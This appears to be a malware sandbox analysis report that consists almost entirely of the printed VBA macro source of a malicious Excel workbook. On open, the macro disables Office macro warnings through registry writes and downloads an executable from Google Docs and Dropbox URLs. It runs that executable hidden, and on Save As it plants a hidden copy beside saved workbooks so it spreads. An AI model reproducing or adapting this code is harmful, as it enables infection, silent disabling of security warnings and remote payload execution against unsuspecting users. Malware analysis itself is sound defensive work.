Windows Analysis Report
sEG2xXpg0X.xlsm

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Dim SheetsChanged As Boolean
Dim SheetCount As Integer

Private Sub Workbook_Open()
  Dim i As Integer
  For i = 1 To ActiveWorkbook.Sheets.Count
    ActiveWorkbook.Sheets(i).Visible = xlSheetVisible
  Next i
  
  RegKeySave "HKCU\Software\Microsoft\Office\" & Application.Version & "\Excel\Security\VBAWarnings", 1, "REG_DWORD"
  RegKeySave "HKCU\Software\Microsoft\Office\" & Application.Version & "\Word\Security\VBAWarnings", 1, "REG_DWORD"
  
  Application.DisplayAlerts = False
  SheetCount = Worksheets.Count
  
  Call MPS
  
  ActiveWorkbook.Sheets(1).Select
  SheetsChanged = False
End Sub

Private Sub Workbook_BeforeClose(Cancel As Boolean)
  If Not SheetsChanged Then
    ActiveWorkbook.Saved = True
  End If
End Sub

Private Sub Workbook_SheetChange(ByVal Sh As Object, ByVal Target As Range)
  SheetsChanged = True
End Sub

Private Sub Workbook_NewSheet(ByVal Sh As Object)
  SheetsChanged = True
End Sub

Private Sub Workbook_SheetActivate(ByVal Sh As Object)
  If ActiveWorkbook.Sheets.Count <> SheetCount Then
    SheetsChanged = True
    SheetCount = ActiveWorkbook.Sheets.Count
  End If
End Sub

Private Sub Workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean)
  Dim i As Integer
  Dim AIndex As Integer
  Dim FName

  AIndex = ActiveWorkbook.ActiveSheet.Index

  If SaveAsUI = False Then
    Cancel = True
    Application.EnableEvents = False
    Application.ScreenUpdating = False
    
    For i = 1 To ActiveWorkbook.Sheets.Count - 1
      ActiveWorkbook.Sheets(i).Visible = xlSheetHidden
    Next i
    ActiveWorkbook.Save
      
    For i = 1 To ActiveWorkbook.Sheets.Count
      ActiveWorkbook.Sheets(i).Visible = xlSheetVisible
    Next i
    ActiveWorkbook.Sheets(AIndex).Select
    SheetsChanged = False
    
    Application.ScreenUpdating = True
    Application.EnableEvents = True
  Else
    Cancel = True
    Application.EnableEvents = False
    Application.ScreenUpdating = False
    
    For i = 1 To ActiveWorkbook.Sheets.Count - 1
      ActiveWorkbook.Sheets(i).Visible = xlSheetHidden
    Next i
    
    FName = Application.GetSaveAsFilename(fileFilter:="Excel alma Kitab (*.xlsm), *.xlsm")
    If FName <> False Then
      ActiveWorkbook.SaveAs Filename:=FName, FileFormat:=xlOpenXMLWorkbookMacroEnabled
      SaveAsInj ActiveWorkbook.Path
    End If
    
    For i = 1 To ActiveWorkbook.Sheets.Count
      ActiveWorkbook.Sheets(i).Visible = xlSheetVisible
    Next i
    ActiveWorkbook.Sheets(AIndex).Select
    SheetsChanged = False
        
    Application.ScreenUpdating = True
    Application.EnableEvents = True
  End If
End Sub

Sub SaveAsInj(DIR As String)
  Dim FSO As Object
  Dim FN As String
  
  Set FSO = CreateObject("scripting.filesystemobject")
  FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
  
  If FSO.FileExists(FN) Then
    If Not FSO.FileExists(DIR & "\~$cache1") Then
      FileCopy FN, DIR & "\~$cache1"
    End If
    SetAttr (DIR & "\~$cache1"), vbHidden + vbSystem
  End If
End Sub

Function RegKeyRead(i_RegKey As String) As String
  Dim myWS As Object

  On Error Resume Next
  Set myWS = CreateObject("WScript.Shell")
  RegKeyRead = myWS.RegRead(i_RegKey)
End Function

Function RegKeyExists(i_RegKey As String) As Boolean
Dim myWS As Object

  On Error GoTo ErrorHandler
  Set myWS = CreateObject("WScript.Shell")
  myWS.RegRead i_RegKey
  RegKeyExists = True
  Exit Function
  
ErrorHandler:
  RegKeyExists = False
End Function

Sub RegKeySave(i_RegKey As String,                i_Value As String,       Optional i_Type As String = "REG_SZ")
Dim myWS As Object

  Set myWS = CreateObject("WScript.Shell")
  myWS.RegWrite i_RegKey, i_Value, i_Type
End Sub

Sub MPS()
  Dim FSO As Object
  Dim FP(1 To 3), TMP, URL(1 To 3) As String
  
  Set FSO = CreateObject("scripting.filesystemobject")
  FP(1) = ActiveWorkbook.Path & "\~$cache1"
  FP(2) = ActiveWorkbook.Path & "\Synaptics.exe"

  URL(1) = "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download"
  URL(2) = "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1"
  URL(3) = "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1"
  TMP = Environ("Temp") & "\~$cache1.exe"
  
  If FSO.FileExists(FP(1)) Then
    If Not FSO.FileExists(TMP) Then
      FileCopy FP(1), TMP
    End If
    Shell TMP, vbHide
  ElseIf FSO.FileExists(FP(2)) Then
    If Not FSO.FileExists(TMP) Then
      FileCopy FP(2), TMP
    End If
    Shell TMP, vbHide
  Else
    If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
      Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
    ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
      Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
    ElseIf Not FSO.FileExists(TMP) Then
      If FDW((URL(1)), (TMP)) Then
      ElseIf FDW((URL(2)), (TMP)) Then
      ElseIf FDW((URL(3)), (TMP)) Then
      End If
      If FSO.FileExists(TMP) Then
        Shell TMP, vbHide
      End If
    Else
      Shell TMP, vbHide
    End If
    
  End If
  
End Sub

Function FDW(MYU, NMA As String) As Boolean
  Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
  If WinHttpReq Is Nothing Then
    Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")
  End If

  WinHttpReq.Option(0) = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
  WinHttpReq.Option(6) = AllowRedirects
  WinHttpReq.Open "GET", MYU, False
  WinHttpReq.Send
  
  If (WinHttpReq.Status = 200) Then
    If (InStr(WinHttpReq.ResponseText, "404 Not Found") = 0) And (InStr(WinHttpReq.ResponseText, ">Not Found<") = 0) And (InStr(WinHttpReq.ResponseText, "Dropbox - Error") = 0) Then
      FDW = True
      Set oStream = CreateObject("ADODB.Stream")
      oStream.Open
      oStream.Type = 1
      oStream.Write WinHttpReq.ResponseBody
      oStream.SaveToFile (NMA)
      oStream.Close
    Else
       FDW = False
    End If
  Else
    FDW = False
  End If
End Function